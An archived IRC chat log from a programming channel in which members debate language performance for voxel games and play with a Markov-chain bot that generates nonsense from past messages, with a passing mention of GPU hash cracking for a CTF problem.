[2014-12-08T19:10:21-0500] <@awe> Ultimately, the best decision would be to write the game as essentially a toolkit for making a game.
[2014-12-08T19:10:24-0500] <bob_twinkles> or you could take the approach that the dude who's developing Limit Theory is taking
[2014-12-08T19:10:36-0500] <bob_twinkles> i.e. write the whole thing in C++ with a custom lisp dialect for all the content =P
[2014-12-08T19:10:41-0500] <@awe> Yeah.
[2014-12-08T19:10:41-0500] <@awe> THat.
[2014-12-08T19:10:44-0500] <@awe> THat's what I'd do.
[2014-12-08T19:10:51-0500] <@awe> Not with lisp though.
[2014-12-08T19:10:55-0500] <@awe> Well, maybe.
[2014-12-08T19:11:16-0500] <nezorg> bob_twinkles: sure, but that's still less versatile than java has been for minecraft
[2014-12-08T19:11:25-0500] <nezorg> someone's pretty much rewritten the rendering engine and put it back in!
[2014-12-08T19:11:28-0500] <@awe> Basically, I'd write a toolkit in Rust, and then probably use lua to actually build the content.
[2014-12-08T19:11:43-0500] <@awe> nezorg: Nobody would have to do that if it wasn't horrifically written. ;)
[2014-12-08T19:11:53-0500] <bob_twinkles> and it still performs likes shit =P
[2014-12-08T19:12:09-0500] <bob_twinkles> mostly 'cause he replaced it with a forward lighting pipeline...
[2014-12-08T19:12:28-0500] <nezorg> awe: true :P
[2014-12-08T19:12:30-0500] <bob_twinkles> and implemented a bunch of stuff to allow for reflections and some other toys
[2014-12-08T19:12:50-0500] <@awe> I think Java is an okay choice for games.
[2014-12-08T19:12:55-0500] <@awe> I don't think it's a very good choice for games.
[2014-12-08T19:13:09-0500] <@awe> I think anything slower than Java is a bad idea for games.
[2014-12-08T19:13:17-0500] <bob_twinkles> I really should get around to playing with shadow mapping at some point...
[2014-12-08T19:13:24-0500] <bob_twinkles> *list of projects grows longer*
[2014-12-08T19:13:36-0500] <nezorg> awe: it really, really depends on what you mean by "games"
[2014-12-08T19:13:55-0500] <@awe> Well, for example, I want to write a voxel game similar in appearance to Cube World.
[2014-12-08T19:14:08-0500] <bob_twinkles> that's like
[2014-12-08T19:14:19-0500] <bob_twinkles> one of the most performance-intensitive classes of games you could pick
[2014-12-08T19:14:26-0500] <@awe> It's going to be in Rust.
[2014-12-08T19:14:37-0500] <bob_twinkles> those cubes really fuckin expensive to render when you get thousands of them on screen...
[2014-12-08T19:14:44-0500] <@awe> Not true.
[2014-12-08T19:14:50-0500] <bob_twinkles> ... I've done this
[2014-12-08T19:14:52-0500] <bob_twinkles> it's true
[2014-12-08T19:14:52-0500] <@awe> It depends on how you do it.
[2014-12-08T19:15:01-0500] <@awe> I have a friend who has done this with insane optimizations.
[2014-12-08T19:15:13-0500] <@awe> bob_twinkles: Were your cubes textured?
[2014-12-08T19:15:23-0500] <bob_twinkles> nop
[2014-12-08T19:15:31-0500] <@awe> It shouldn't have been that bad then.
[2014-12-08T19:16:07-0500] <@awe> If you just have colored cubes, there's a ton of optimizations that you can do.
[2014-12-08T19:16:07-0500] <bob_twinkles> the thing about procedural voxel worlds is that you can bump the view distance out as far as you like until it starts getting slow again
[2014-12-08T19:16:13-0500] <@awe> Well, yes.
[2014-12-08T19:16:15-0500] <@awe> That's true.
[2014-12-08T19:16:42-0500] <bob_twinkles> I never really finished the project, it's yet another thing on the list of things to do
[2014-12-08T19:17:08-0500] <bob_twinkles> you can do draw a lot of cubes but it takes a _lot_ of work to get all the mesh optimization working
[2014-12-08T19:17:28-0500] <@awe> My friend is insane.
[2014-12-08T19:18:05-0500] <bob_twinkles> heh, so am I
[2014-12-08T19:18:08-0500] <@awe> He once wrote like 100 lines to replace a single regex because it was significantly faster.
[2014-12-08T19:18:10-0500] <bob_twinkles> I thought using boost was a good idea
[2014-12-08T19:18:14-0500] <@awe> Oh, gross.
[2014-12-08T19:18:19-0500] <bob_twinkles> protip: it's really really not
[2014-12-08T19:18:25-0500] <@awe> Boost is hell.
[2014-12-08T19:18:29-0500] <bob_twinkles> the performance of boost::signals is complete shit
[2014-12-08T19:18:38-0500] <bob_twinkles> like, > 16ms to send < 20 signals
[2014-12-08T19:18:42-0500] <JacobEdelman> I strongly disagre with that
[2014-12-08T19:18:46-0500] <@awe> Another friend is writing a MapleStory in C++ and has been for a very long time.
[2014-12-08T19:18:57-0500] <@awe> He used Boost.
[2014-12-08T19:19:03-0500] <@awe> He's very upset about it, and is now trying to remove it.
[2014-12-08T19:19:07-0500] <bob_twinkles> which was... unacceptable when you have 16ms to do physics and remeshing and input and ....
[2014-12-08T19:19:08-0500] <JacobEdelman> now give me a sec to read what I stronly disagreed with
[2014-12-08T19:19:16-0500] <@awe> JacobEdelman: You disagree with what?
[2014-12-08T19:19:23-0500] <JacobEdelman> no idea
[2014-12-08T19:19:54-0500] <JacobEdelman> hmmm.. you guys are rusting (i'm assuming thats the correct verb for discussing Rust)
[2014-12-08T19:20:21-0500] <bob_twinkles> mmm not really
[2014-12-08T19:20:24-0500] <bob_twinkles> discussing performance =P
[2014-12-08T19:20:30-0500] <+The_Master> @markov
[2014-12-08T19:20:37-0500] <awebot> The_Master: cgaebel: Maybe..
[2014-12-08T19:20:41-0500] <JacobEdelman> ah
[2014-12-08T19:20:49-0500] <@awe> JacobEdelman: I was making fun of you before, and now we're discussing how performance amtters.
[2014-12-08T19:20:51-0500] <@awe> matters*
[2014-12-08T19:20:53-0500] <JacobEdelman> your discussing what to write mincraft in
[2014-12-08T19:21:18-0500] <JacobEdelman> awe: voxel.js :P
[2014-12-08T19:21:26-0500] <bob_twinkles> god no
[2014-12-08T19:21:28-0500] <@awe> Is painfully bad.
[2014-12-08T19:21:49-0500] <JacobEdelman> I know
[2014-12-08T19:21:53-0500] <JacobEdelman> :P
[2014-12-08T19:22:07-0500] <@awe> [18:53:01]  <@awe>	That being said, I don't think I've ever gotten him to admit that their are domains where a 10x slow down is unacceptable.
[2014-12-08T19:22:11-0500] <@awe> JacobEdelman: have you ever admitted this?
[2014-12-08T19:22:12-0500] <JacobEdelman> (I care about the difference between computations as long as the difference is somehow fundemental)
[2014-12-08T19:22:23-0500] <JacobEdelman> (aka gpu vs cpu or a big O difference)
[2014-12-08T19:22:33-0500] <bob_twinkles> but like
[2014-12-08T19:22:34-0500] <JacobEdelman> gpu vs cpu can give you speedups of 1000x easily
[2014-12-08T19:22:37-0500] <@awe> ...
[2014-12-08T19:22:38-0500] <bob_twinkles> no
[2014-12-08T19:22:40-0500] <bob_twinkles> no it can't
[2014-12-08T19:22:44-0500] <JacobEdelman> well, 100x
[2014-12-08T19:22:53-0500] <bob_twinkles> CPU -> GPU code conversion is never easy
[2014-12-08T19:23:04-0500] <bob_twinkles> if you care about performance anyway
[2014-12-08T19:23:12-0500] <@awe> And even if you can get a 100x speed up out of it, that's within a very specific domain.
[2014-12-08T19:23:22-0500] <@awe> And you would be using C or C++ or Rust, not JavaScript.
[2014-12-08T19:23:26-0500] <@awe> You won't get a 100x speed up in JavaScript.
[2014-12-08T19:23:27-0500] <bob_twinkles> throwing more cores at stuff just means you can fuck it up more at the same time
[2014-12-08T19:23:49-0500] <+The_Master> Use scratch
[2014-12-08T19:23:52-0500] <JacobEdelman> bob_twinkles, really? I wouldn't know... all I know is people brute forced hashes on the gpu for 9funkyyellowducks hsctf prob. easily
[2014-12-08T19:24:12-0500] <JacobEdelman> awe: gpu in js is just a binding to run opencl or opengl
[2014-12-08T19:24:14-0500] <@awe> You can probably google for that.
[2014-12-08T19:24:28-0500] <bob_twinkles> using tools specifically developed to crack hashes on the GPU and refined over years of research yes
[2014-12-08T19:24:33-0500] <@awe> JacobEdelman: It's a binding through a binding through a binding through a binding to opencl.
[2014-12-08T19:24:43-0500] <JacobEdelman> bob_twinkles: they didn't
[2014-12-08T19:24:49-0500] <@awe> Yes, they did.
[2014-12-08T19:25:04-0500] <@awe> They googled for md5 GPU hash cracker.
[2014-12-08T19:25:29-0500] <@awe> http://www.golubev.com/hashgpu.htm
[2014-12-08T19:25:50-0500] <JacobEdelman> nope
[2014-12-08T19:26:11-0500] <@awe> Not necessarily that exact thing.
[2014-12-08T19:26:50-0500] <@awe> http://www.rust-ci.org/aaronweiss74/markov/doc/markov/
[2014-12-08T19:26:53-0500] <@awe> Look, guys. Docs!
[2014-12-08T19:35:32-0500] <@awe> nezorg: http://www.rust-ci.org/aaronweiss74/markov/doc/markov/struct.Chain.html
[2014-12-08T19:35:36-0500] <@awe> nezorg: Does this seem sufficient?
[2014-12-08T19:36:02-0500] <bob_twinkles> http://bobtwinkles.github.io/vf_defformation/
[2014-12-08T19:36:11-0500] <bob_twinkles> #whyjssoslow
[2014-12-08T19:36:57-0500] <bob_twinkles> I mean, obviously the language of the web should be able to run RK4 integration on 64^2
[2014-12-08T19:37:34-0500] <bob_twinkles> unfortunatlly for this project I can't use a real language
[2014-12-08T19:37:45-0500] <@awe> bob_twinkles: I wish that the language of the web was performant.
[2014-12-08T19:38:00-0500] <bob_twinkles> but it's DYNAMIC!!111!111!one!
[2014-12-08T19:38:13-0500] <bob_twinkles> 64^2 points per frame that is
[2014-12-08T19:38:49-0500] <bob_twinkles> it actually runs at a reasonable framerate under dartium
[2014-12-08T19:38:55-0500] <JacobEdelman> uhg switching to firefox developer for aurora is rough
[2014-12-08T19:39:15-0500] <@awe> Why?
[2014-12-08T19:39:19-0500] <@awe> It wasn't that bad for me.
[2014-12-08T19:41:20-0500] <@awe> It's probably time to do my Calculus practice exams.
[2014-12-08T19:41:27-0500] <+The_Master> @markov
[2014-12-08T19:41:34-0500] <awebot> The_Master: kek.
[2014-12-08T19:41:37-0500] <+The_Master> @markov
[2014-12-08T19:41:44-0500] <awebot> The_Master: 't.
[2014-12-08T19:41:53-0500] <+The_Master> @markov
[2014-12-08T19:42:00-0500] <awebot> The_Master: println!("{}", rustc::front::std::inject::VERSION); }.
[2014-12-08T19:42:08-0500] <+The_Master> @markov
[2014-12-08T19:42:14-0500] <awebot> The_Master: eddyb: At least not really don't want to disable that a compiler simply a few paragraphs?.
[2014-12-08T19:42:22-0500] <@awe> Okay, it definitely still has stuff from #rust in there.
[2014-12-08T19:42:34-0500] <@awe> eddyb is a Ruster.
[2014-12-08T19:42:39-0500] <@awe> @markov
[2014-12-08T19:42:45-0500] <awebot> awe: hello.
[2014-12-08T19:42:49-0500] <@awe> hi awebot
[2014-12-08T19:42:51-0500] <+The_Master> @markov
[2014-12-08T19:42:58-0500] <awebot> The_Master: so many problems.
[2014-12-08T19:43:02-0500] <+The_Master> @markov
[2014-12-08T19:43:08-0500] <awebot> The_Master: it's doing it is it burns.
[2014-12-08T19:43:36-0500] <+The_Master> awebot: You should be a philosopher.
[2014-12-08T19:43:54-0500] <+The_Master> @markov
[2014-12-08T19:43:55-0500] <+alokpathy> Hmm, I haven't tried out markov yet.
[2014-12-08T19:43:56-0500] <+alokpathy> @markov
[2014-12-08T19:44:01-0500] <awebot> The_Master: Pls.
[2014-12-08T19:44:08-0500] <awebot> alokpathy: similar to prove that also looking at power per hashtable operation from wrapping my history of machines.
[2014-12-08T19:44:14-0500] <+The_Master> @markov
[2014-12-08T19:44:21-0500] <awebot> The_Master: that has a modified for $200..
[2014-12-08T19:44:23-0500] <JacobEdelman> (itincludes awe's private chats on #pdgn)
[2014-12-08T19:44:31-0500] <+alokpathy> lolol
[2014-12-08T19:44:32-0500] <+The_Master> @markov
[2014-12-08T19:44:39-0500] <awebot> The_Master: Dawkins is decided I open something already fixed array?.
[2014-12-08T19:44:43-0500] <+The_Master> @markov
[2014-12-08T19:44:50-0500] <awebot> The_Master: because int types.
[2014-12-08T19:45:06-0500] <+The_Master> awebot: int can't type.
[2014-12-08T19:45:16-0500] <+The_Master> awebot: int is illiterate.
[2014-12-08T19:45:18-0500] <+The_Master> @markov
[2014-12-08T19:45:24-0500] <awebot> The_Master: You know you know, but then :P.
[2014-12-08T19:45:33-0500] <+The_Master> @markov
[2014-12-08T19:45:40-0500] <awebot> The_Master: [00:05:55] <gmcfosho> I had escaped reality.
[2014-12-08T19:45:47-0500] <+The_Master> awebot: You should be a philosopher.
[2014-12-08T19:45:53-0500] <+The_Master> I repeat
[2014-12-08T19:45:56-0500] <@awe> LOL.
[2014-12-08T19:46:00-0500] <@awe> Oh my god.
[2014-12-08T19:46:03-0500] <+The_Master> this will never get old
[2014-12-08T19:46:05-0500] <JacobEdelman> who is gmcfosho?
[2014-12-08T19:46:11-0500] <@awe> Don't worry about it.
[2014-12-08T19:46:20-0500] <JacobEdelman> .... I'm worrying now
[2014-12-08T19:46:33-0500] <+The_Master> Let's keep looking for awe's private chats
[2014-12-08T19:46:35-0500] <+The_Master> @markov
[2014-12-08T19:46:41-0500] <awebot> The_Master: i know how far in tree implementation?.
[2014-12-08T19:46:41-0500] <@awe> That was from a private chat.
[2014-12-08T19:46:45-0500] <JacobEdelman> wow
[2014-12-08T19:46:45-0500] <@awe> Well, some of it.
[2014-12-08T19:46:52-0500] <JacobEdelman> the internet does not like gmcfosho
[2014-12-08T19:47:00-0500] <JacobEdelman> censoresed signs and all
[2014-12-08T19:47:52-0500] <+The_Master> @markov
[2014-12-08T19:48:00-0500] <awebot> The_Master: Lifetime of the possibilities for troubleshoot?.
[2014-12-08T19:48:09-0500] <+The_Master> @markov
[2014-12-08T19:48:16-0500] <awebot> The_Master: JacobEdelman: my primary sources anywhere?.
[2014-12-08T19:48:31-0500] <+The_Master> awe:it has a period after question marks
[2014-12-08T19:49:07-0500] <@awe> The_Master: it adds periods to everything.
[2014-12-08T19:49:30-0500] <+The_Master> awe: shouldn't not add periods after "?" and "!" and "."
[2014-12-08T19:49:40-0500] <@awe> Correct.
[2014-12-08T19:49:43-0500] <@awe> Well, sort of.
[2014-12-08T19:49:53-0500] <@awe> I should probably just not add a period in the library.
[2014-12-08T19:50:25-0500] <+The_Master> @markov
[2014-12-08T19:50:32-0500] <awebot> The_Master: benwaffle: Hello failedxyz (Y: 1, N 1)..
[2014-12-08T19:50:40-0500] <+The_Master> @markov
[2014-12-08T19:50:48-0500] <awebot> The_Master: but i do they somehow want to a script in the contents on as extensible.
[2014-12-08T19:50:50-0500] <+The_Master> @markov
[2014-12-08T19:50:57-0500] <awebot> The_Master: venividivici42: Like what?.
[2014-12-08T19:51:08-0500] <+The_Master> @markov
[2014-12-08T19:51:11-0500] <JacobEdelman> wait
[2014-12-08T19:51:15-0500] <awebot> The_Master: kidding.
[2014-12-08T19:51:19-0500] <@awe> JacobEdelman: ?
[2014-12-08T19:51:24-0500] <JacobEdelman> nothing
[2014-12-08T19:51:25-0500] <JacobEdelman> gtg
[2014-12-08T19:51:34-0500] <@awe> Okay, bye.
[2014-12-08T19:51:45-0500] <+The_Master> he and I will brb
[2014-12-08T19:53:03-0500] <@awe> It's time to math, anyway.
[2014-12-08T20:01:03-0500] <benwaffle> what
[2014-12-08T20:01:17-0500] <benwaffle> @markov
[2014-12-08T20:01:24-0500] <awebot> benwaffle: [thestinger].
[2014-12-08T20:01:27-0500] <benwaffle> @markov
[2014-12-08T20:01:35-0500] <awebot> benwaffle: mcpherrin: Okay, go!.
[2014-12-08T20:01:37-0500] <+The_Master> @markov
[2014-12-08T20:01:40-0500] <benwaffle> @markov
[2014-12-08T20:01:44-0500] <awebot> The_Master: steveklabnik updates in the closure *itself* can probably just place.
[2014-12-08T20:01:45-0500] <+Tamini> @markov
[2014-12-08T20:01:51-0500] <awebot> benwaffle: That's why people asked..
[2014-12-08T20:01:57-0500] <awebot> Tamini: @combine villain man murdering someone, to true.
[2014-12-08T20:02:04-0500] <@awe> Lol.
[2014-12-08T20:02:08-0500] <@awe> Bravo, awebot.
[2014-12-08T20:02:16-0500] <+Tamini> yay awebot
[2014-12-08T20:03:20-0500] <+The_Master> awe: can you make awe bot use only a small (random) amount of info at a time to speed it up?
[2014-12-08T20:03:48-0500] <@awe> The_Master: No.
[2014-12-08T20:04:31-0500] <+The_Master> @markov
[2014-12-08T20:04:38-0500] <awebot> The_Master: yes noob from source post your factory D:.
[2014-12-08T20:05:10-0500] <+The_Master> @markov
[2014-12-08T20:05:17-0500] <awebot> The_Master: JacobEdelman: do any case, you're a one shirt in haskell?.
[2014-12-08T20:05:31-0500] <+Tamini> JacobEdelman, now a shirt.
[2014-12-08T20:05:41-0500] <+jwoglom> @markov
[2014-12-08T20:05:47-0500] <@awe> The_Master: First of all, it's not all that important that this be fast right now. Second of all, I have a better solution than that.
[2014-12-08T20:05:48-0500] <awebot> jwoglom: I'm not smart, don't carry on StackOverflow.
[2014-12-08T20:05:58-0500] <JacobEdelman> lol
[2014-12-08T20:06:07-0500] <+The_Master> @markov
[2014-12-08T20:06:14-0500] <awebot> The_Master: every time I mentioned my skills at my errors over all be an approximation to change?.
[2014-12-08T20:06:28-0500] <+Tamini> thats like 3/3
[2014-12-08T20:06:30-0500] <+Tamini> literally
[2014-12-08T20:06:35-0500] <+Tamini> awebot basically
[2014-12-08T20:06:43-0500] <+Tamini> always responds to jwoglom with love and self deprication LOL
[2014-12-08T20:06:56-0500] <+jwoglom> Tamini: what can I say, he loves me :P
[2014-12-08T20:07:01-0500] <+The_Master> @markov
[2014-12-08T20:07:08-0500] <awebot> The_Master: Haha.
[2014-12-08T20:07:09-0500] <+Tamini> jwoglom: Oh shush, you're stealing my robot lover away from me :(
[2014-12-08T20:08:20-0500] <+The_Master> That was the third time awebot laughed at me.
[2014-12-08T20:08:24-0500] <+The_Master> @markov
[2014-12-08T20:08:30-0500] <awebot> The_Master: Ok, may never mind that lets say.
[2014-12-08T20:08:35-0500] <+Tamini> The_Master: ezra, this says something about you :P
[2014-12-08T20:08:51-0500] <+jwoglom> Tamini: maybe its just been too long since you two talked
[2014-12-08T20:08:56-0500] <failedxyz> hei
[2014-12-08T20:08:57-0500] <+The_Master> Tamini: That I am very funny? :P
[2014-12-08T20:08:59-0500] <+The_Master> @markov
[2014-12-08T20:09:05-0500] <awebot> The_Master: .propose deop LittleBobbyTables (Y: 3, N 0)..
[2014-12-08T20:09:10-0500] <failedxyz> what does @markov do
[2014-12-08T20:09:23-0500] <+Tamini> markov chain!
[2014-12-08T20:09:34-0500] <+The_Master> failedxyz: awesomeness. 
[2014-12-08T20:09:37-0500] <failedxyz> i see
[2014-12-08T20:09:40-0500] <failedxyz> @markov
[2014-12-08T20:09:44-0500] <+The_Master> @ddg markov chain !w
[2014-12-08T20:09:46-0500] <awebot> failedxyz: Please enjoy it..
[2014-12-08T20:09:47-0500] <awebot> The_Master: https://duckduckgo.com/?q=markov+chain+!w
[2014-12-08T20:10:05-0500] <+The_Master> @markov
[2014-12-08T20:10:12-0500] <awebot> The_Master: I would miss my thing, but the ways it.
[2014-12-08T20:10:39-0500] <+The_Master> @markov
[2014-12-08T20:10:45-0500] <awebot> The_Master: has a property states they are..
[2014-12-08T20:11:29-0500] <+Tamini> ...did failedxyz just
[2014-12-08T20:11:36-0500] <+Tamini> turn awebot into 
[2014-12-08T20:11:39-0500] <+Tamini> a tsundere girl
[2014-12-08T20:11:51-0500] <failedxyz> what about me?
[2014-12-08T20:11:52-0500] <failedxyz> wat
[2014-12-08T20:12:08-0500] <@awe> lol
[2014-12-08T20:12:23-0500] <+The_Master> @markov
[2014-12-08T20:12:29-0500] <awebot> The_Master: No, the community.
[2014-12-08T20:12:42-0500] <failedxyz> @markov
[2014-12-08T20:12:49-0500] <awebot> failedxyz: o.
[2014-12-08T20:12:51-0500] <failedxyz> @markov
[2014-12-08T20:12:57-0500] <awebot> failedxyz: ic.
[2014-12-08T20:13:03-0500] <failedxyz> wat
[2014-12-08T20:13:07-0500] <+The_Master> @markov
[2014-12-08T20:13:13-0500] <awebot> The_Master: &vec[index].
[2014-12-08T20:13:36-0500] <+The_Master> @markov
[2014-12-08T20:13:42-0500] <awebot> The_Master: moved the future me..
[2014-12-08T20:14:02-0500] <+The_Master> awebot is a time traveller.
[2014-12-08T20:14:28-0500] <+The_Master> @markov
[2014-12-08T20:14:35-0500] <awebot> The_Master: Yes..
[2014-12-08T20:14:50-0500] <+The_Master> He admits to it!
[2014-12-08T20:15:35-0500] <+alokpathy> I should talk here more. Hi friends.
[2014-12-08T20:16:39-0500] <+jwoglom> on that same note, hello as well
[2014-12-08T20:17:18-0500] <+The_Master> ん乇ﾚﾚo ｷ尺ﾉ乇刀d丂 
[2014-12-08T20:17:49-0500] <+The_Master> *hello friends
[2014-12-08T20:17:54-0500] <+alokpathy> The_Master: Hey look it's Jacob's handwriting.
[2014-12-08T20:17:58-0500] <+alokpathy> jk it's legible.
[2014-12-08T20:18:09-0500] <JacobEdelman> yeah
[2014-12-08T20:18:13-0500] <JacobEdelman> no way is that my hand writing
[2014-12-08T20:18:27-0500] <+The_Master> panix.com/~eli/unicode/convert.cgi?text=Jacob's Handwriting
[2014-12-08T20:18:34-0500] <+The_Master> panix.com/~eli/unicode/convert.cgi?text=Jacobs_Handwriting
[2014-12-08T20:18:42-0500] <JacobEdelman> @markov
[2014-12-08T20:18:49-0500] <awebot> JacobEdelman: Not Iter?.
[2014-12-08T20:19:40-0500] <+The_Master> @markov
[2014-12-08T20:19:40-0500] <+alokpathy> Lol the good thing about having math homework that's almost entirely calculations
[2014-12-08T20:19:46-0500] <awebot> The_Master: awe: yes.
[2014-12-08T20:19:51-0500] <+alokpathy> is that you can listen to music while doing homework
[2014-12-08T20:19:52-0500] <+The_Master> @markov
[2014-12-08T20:19:58-0500] <awebot> The_Master: el_nino: if inflammation persists :P.
[2014-12-08T20:20:31-0500] <+The_Master> @markov
[2014-12-08T20:20:38-0500] <awebot> The_Master: it's possible to another email field of value doesnt even though.
[2014-12-08T20:23:45-0500] <+The_Master> @markov
[2014-12-08T20:23:51-0500] <awebot> The_Master: race protest votes?.
[2014-12-08T20:27:12-0500] <@awe> Јасоъѕ_НаиↁшѓітіиБ
[2014-12-08T20:27:14-0500] <@awe> The_Master: ^
[2014-12-08T20:27:18-0500] <@awe> The_Master: that one is accurate.
[2014-12-08T20:27:25-0500] <JacobEdelman> more or less
[2014-12-08T20:27:55-0500] <+The_Master> 	ןคς๏๒ร_ђคภ๔ฬгเՇเภﻮ 
[2014-12-08T20:28:07-0500] <+The_Master> ןคς๏๒'ร ђคภ๔ฬгเՇเภﻮ 
[2014-12-08T20:28:22-0500] <+The_Master> more accurate ^
[2014-12-08T20:28:35-0500] <+alokpathy> Not quite there yet though.
[2014-12-08T20:29:48-0500] <+The_Master>  ƃuıʇıɹʍpuɐɥ_sqoɔɐɾ 
[2014-12-08T20:29:56-0500] <+The_Master> Is this ^ good?
[2014-12-08T20:30:32-0500] <+alokpathy> More or less
[2014-12-08T20:30:58-0500] <+The_Master> @markov
[2014-12-08T20:31:06-0500] <awebot> The_Master: !!!!!.
[2014-12-08T20:31:11-0500] <+alokpathy> 🅙🅐🅒🅞🅑🅢_🅗🅐🅝🅓🅦🅡🅘🅣🅘🅝🅖 
[2014-12-08T20:31:17-0500] <+alokpathy> ^ probably the most accurate
[2014-12-08T20:31:22-0500] <+alokpathy> So messy that paper can't even display it
[2014-12-08T20:31:23-0500] <+The_Master> awebot? how color?
[2014-12-08T20:31:31-0500] <+The_Master> !!!!!.
[2014-12-08T20:31:44-0500] <+The_Master> awebot? how italicized?
[2014-12-08T20:32:06-0500] <@awe> Tamini: it was smart of you to not stay up late for my description of lifetimes since I ended up working on Markov chain until very late. ;)
[2014-12-08T20:32:12-0500] <@awe> The_Master: IRC supports formatting.
[2014-12-08T20:32:32-0500] <@awe> Watch in amazement.
[2014-12-08T20:34:29-0500] <+The_Master> @markov
[2014-12-08T20:34:35-0500] <awebot> The_Master: aapaella: shoot because michael even does easyctf is not fully supported..
[2014-12-08T20:35:38-0500] <@awe> @markov test
[2014-12-08T20:35:45-0500] <awebot> awe: test this http://privatepaste.com/48638869b7.
[2014-12-08T20:35:51-0500] <@awe> @markov Watch
[2014-12-08T20:35:57-0500] <awebot> awe: Watch your help.
[2014-12-08T20:36:15-0500] <@awe> @markov Watch
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[2014-12-08T20:36:33-0500] <@awe> Topkek.
[2014-12-08T20:36:40-0500] <@awe> Don't do that.
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[2014-12-08T20:36:44-0500] <+The_Master> @markov <gmcfosho>
[2014-12-08T20:36:50-0500] <awebot> The_Master: <gmcfosho> Making a frisbee that's not mutable state for about things cannot borrow checker.
[2014-12-08T20:36:53-0500] <+The_Master> @markov <gmcfosho>
[2014-12-08T20:37:00-0500] <awebot> The_Master: <gmcfosho> Hey, I know if giving to an A::B.
[2014-12-08T20:37:00-0500] <@awe> Wow, fuck you.
[2014-12-08T20:37:10-0500] <+The_Master> awe: I had to try
[2014-12-08T20:37:11-0500] <@awe> You're actively trying to invade my privacy.
[2014-12-08T20:37:17-0500] <+The_Master> awe: sorry
[2014-12-08T20:37:54-0500] <@awe> @markov Fuck
[2014-12-08T20:37:58-0500] <+The_Master> @markov @markov
[2014-12-08T20:38:00-0500] <awebot> awe: Fuck off, Hcnsh.
[2014-12-08T20:38:06-0500] <@awe> Nice work, awebot.
[2014-12-08T20:38:07-0500] <awebot> The_Master: @markov.
[2014-12-08T20:38:18-0500] <+The_Master> @markov amazing
[2014-12-08T20:38:25-0500] <awebot> The_Master: amazing for the & ChrisMorgan: thanks.
[2014-12-08T20:38:38-0500] <+The_Master> @markov The_Master
[2014-12-08T20:38:44-0500] <+alokpathy> @markov alokpathy
[2014-12-08T20:38:45-0500] <awebot> The_Master: The_Master hi.
[2014-12-08T20:38:52-0500] <awebot> alokpathy: alokpathy.
[2014-12-08T20:38:53-0500] <+The_Master> @markov ezra
[2014-12-08T20:38:56-0500] <+alokpathy> Wow
[2014-12-08T20:38:58-0500] <+alokpathy> not even a hi
[2014-12-08T20:39:00-0500] <awebot> The_Master: ezra.
[2014-12-08T20:39:01-0500] <+alokpathy> wow awebot
[2014-12-08T20:39:07-0500] <+The_Master> @markov awebot
[2014-12-08T20:39:14-0500] <awebot> The_Master: awebot D:.
[2014-12-08T20:39:29-0500] <+The_Master> @markov rust is bad
[2014-12-08T20:39:35-0500] <+The_Master> @markov rust is good
[2014-12-08T20:39:37-0500] <awebot> The_Master: rust has an old.
[2014-12-08T20:39:45-0500] <awebot> The_Master: rust is in a do with filthy thoughts on this is to report about Mozilla's open file to ad hoc functions.
[2014-12-08T20:40:07-0500] <@awe> The_Master: It can only take one token.
[2014-12-08T20:40:11-0500] <@awe> The_Master: it's ignoring your additional input.
[2014-12-08T20:40:29-0500] <@awe> The_Master: It works by simply starting the generation off at the specified token.
[2014-12-08T20:40:37-0500] <+The_Master> awe: and if it can't find anything it returns that token
[2014-12-08T20:40:47-0500] <@awe> Yes.
[2014-12-08T20:40:54-0500] <+The_Master> @markov thanks
[2014-12-08T20:41:01-0500] <awebot> The_Master: thanks rusti code.
[2014-12-08T20:41:11-0500] <@awe> @markov fuck
[2014-12-08T20:41:17-0500] <awebot> awe: fuck man (sentience + earth)!.
[2014-12-08T20:41:21-0500] <@awe> @markov fuk
[2014-12-08T20:41:28-0500] <awebot> awe: fuk.
[2014-12-08T20:41:30-0500] <@awe> @markov fak
[2014-12-08T20:41:36-0500] <awebot> awe: fak u wanna !resistance.
[2014-12-08T20:41:45-0500] <@awe> lol
[2014-12-08T20:41:52-0500] <+The_Master> !resistance
[2014-12-08T20:41:52-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-12-08T20:41:58-0500] <@awe> !drop
[2014-12-08T20:41:58-0500] <&Pidgey> The game of Resistance has been dropped.
[2014-12-08T20:42:07-0500] <+The_Master> @markov !resistance
[2014-12-08T20:42:14-0500] <awebot> The_Master: !resistance guys, start itself.
[2014-12-08T20:42:16-0500] <+The_Master> @markov resistance
[2014-12-08T20:42:23-0500] <+alokpathy> Do we have enough for resistance?
[2014-12-08T20:42:23-0500] <awebot> The_Master: resistance.
[2014-12-08T20:42:38-0500] <@awe> resistance is a fun game.
[2014-12-08T20:42:40-0500] <@awe> @markov resistance
[2014-12-08T20:42:46-0500] <awebot> awe: resistance.
[2014-12-08T20:42:48-0500] <@awe> @markov resistance
[2014-12-08T20:42:55-0500] <awebot> awe: resistance but now i'm not sure.
[2014-12-08T20:42:57-0500] <@awe> @markov resistance
[2014-12-08T20:43:04-0500] <awebot> awe: resistance when coercing the end.
[2014-12-08T20:43:12-0500] <@awe> Okay, awebot.
[2014-12-08T20:43:15-0500] <@awe> @markov awebot
[2014-12-08T20:43:15-0500] <JacobEdelman> @markov JacobEdelman:
[2014-12-08T20:43:22-0500] <awebot> JacobEdelman: JacobEdelman: you smoking.
[2014-12-08T20:43:27-0500] <JacobEdelman> ...
[2014-12-08T20:43:29-0500] <awebot> awe: awebot only is unavoidable unless you're strict subset of the renderer written more like.
[2014-12-08T20:43:29-0500] <JacobEdelman> @markov JacobEdelman:
[2014-12-08T20:43:39-0500] <awebot> JacobEdelman: JacobEdelman: Actually, C++ templates?.
[2014-12-08T20:44:11-0500] <+The_Master> @markov ...
[2014-12-08T20:44:18-0500] <awebot> The_Master: ... no serious here specifically?.
[2014-12-08T20:44:35-0500] <+The_Master> @markov ...
[2014-12-08T20:44:42-0500] <awebot> The_Master: ... how come?.
[2014-12-08T20:45:01-0500] <@awe> @markov butts
[2014-12-08T20:45:08-0500] <awebot> awe: butts.
[2014-12-08T20:45:13-0500] <@awe> @markov dickbutt
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[2014-12-08T20:45:25-0500] <@awe> Wat.
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[2014-12-08T20:45:31-0500] <@awe> What'd dickbutt do to him? D:
[2014-12-08T20:45:33-0500] <@awe> @markov dickbutt
[2014-12-08T20:45:40-0500] <awebot> awe: dickbutt do something to her..
[2014-12-08T20:45:43-0500] <@awe> @markov dickbutt
[2014-12-08T20:45:49-0500] <awebot> awe: dickbutt do this though: I don't know anything exciting..
[2014-12-08T20:45:54-0500] <@awe> @markov blkzmfbl
[2014-12-08T20:45:57-0500] <+The_Master> awe: it was insulted
